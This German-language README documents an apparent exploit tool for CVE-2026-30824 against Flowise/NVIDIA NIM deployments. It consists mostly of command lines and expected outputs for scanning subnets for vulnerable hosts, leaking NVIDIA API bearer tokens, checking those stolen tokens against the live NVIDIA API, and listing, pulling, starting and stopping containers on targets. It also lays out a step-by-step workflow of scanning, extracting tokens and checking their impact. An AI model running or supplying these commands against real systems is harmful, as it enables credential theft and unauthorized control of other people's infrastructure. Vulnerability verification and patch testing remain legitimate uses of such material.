# Skript klonen oder herunterladen
git clone <repository>
cd cve-2026-30824

# Abhängigkeiten installieren
pip install -r requirements.txt
# oder
pip install requests

# Prüfen, ob ein einzelnes Ziel verwundbar ist
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Erwartete Ausgabe (VERWUNDBAR):
# [+] Ziel scheint VERWUNDBAR (HTTP 200)
#     Antwort: {...}

# targets.txt mit einer URL pro Zeile erstellen
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Alle Ziele scannen (Schnellmodus, keine Eingabeaufforderungen)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Erwartete Zusammenfassungsausgabe:
# ============================================================
# [*] Scan-Zusammenfassung
# ============================================================
# [+] VERWUNDBAR: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] GEPATCHT: 1
#     ✗ http://192.168.1.102:3000

# NVIDIA-API-Token vom verwundbaren Endpunkt leaken
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Erwartete Ausgabe:
# [*] Versuche, NVIDIA-API-Token zu leaken...
# [+] NVIDIA-API-Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token-Typ: Bearer
# [+] Läuft ab in: 3600s

# Verifizieren, dass ein geleaktes Token gegen die echte NVIDIA-API funktioniert
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Erwartete Ausgabe:
# [*] Validiere Token gegen NVIDIA-API...
# [+] Token GÜLTIG! Zugriff auf 45 NVIDIA-NIM-Modelle.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

# Container auf dem Ziel auflisten
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Erwartete Ausgabe:
# [*] Liste laufender Container...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

# Alle Aufklärungs-Checks auf dem verwundbaren Ziel ausführen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Optionale Argumente:
  -h, --help                    Diese Hilfemeldung anzeigen und beenden
  -t, --target TARGET           Ziel-URL (z. B. http://192.168.1.100:3000)
  -f, --targets-file DATEI      Datei mit Liste der Ziele (eine pro Zeile)
  
Schwachstellenerkennung:
  --check                       Nur prüfen, ob das Ziel verwundbar ist
  --scan-only                   Ziele ohne Eingabeaufforderungen auf Schwachstellen scannen
  --debug                       Anfragedetails und Rohantworten anzeigen
  
Ausnutzung:
  --get-token                   NVIDIA-API-Token leaken
  --validate-token TOKEN        Geleaktes Token gegen die NVIDIA-API validieren
  --list-containers             Laufende NIM-Container auflisten
  --get-container CONTAINER_ID  Containerdetails abrufen
  --get-image IMAGE_ID          Imagedetails abrufen
  --pull-image IMAGE_TAG        Ein Docker-Image pullen (z. B. nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Einen Container aus einem Image-Tag starten
  --container-name NAME         Name für den gestarteten Container
  --stop-container CONTAINER_ID Einen laufenden Container stoppen
  --preload                     Ressourcen-Preload-Endpunkt auslösen
  --all                         Alle Aufklärungs-Checks ausführen
  
Erweitert:
  --timeout SEKUNDEN            Anfrage-Timeout in Sekunden (Standard: 15)

# 1. Gesamtes Subnetz auf verwundbare Instanzen scannen
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. Für jedes verwundbare Ziel Token extrahieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Token-Auswirkung validieren
python3 CVE-2026-30824.py --validate-token "<extrahiertes-token>"

# Schwachstelle verifizieren und vollständigen Blast-Radius demonstrieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# Dies wird:
# 1. Schwachstelle prüfen
# 2. NVIDIA-API-Token extrahieren
# 3. Token gegen die NVIDIA-API validieren
# 4. Laufende Container auflisten
# 5. Ressourcen-Enumeration anzeigen

# Ein Ziel periodisch überwachen (per cron oder Scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

# Konnektivität testen
curl -v http://192.168.1.100:3000/

# Timeout erhöhen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

# Port und Protokoll explizit hinzufügen
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check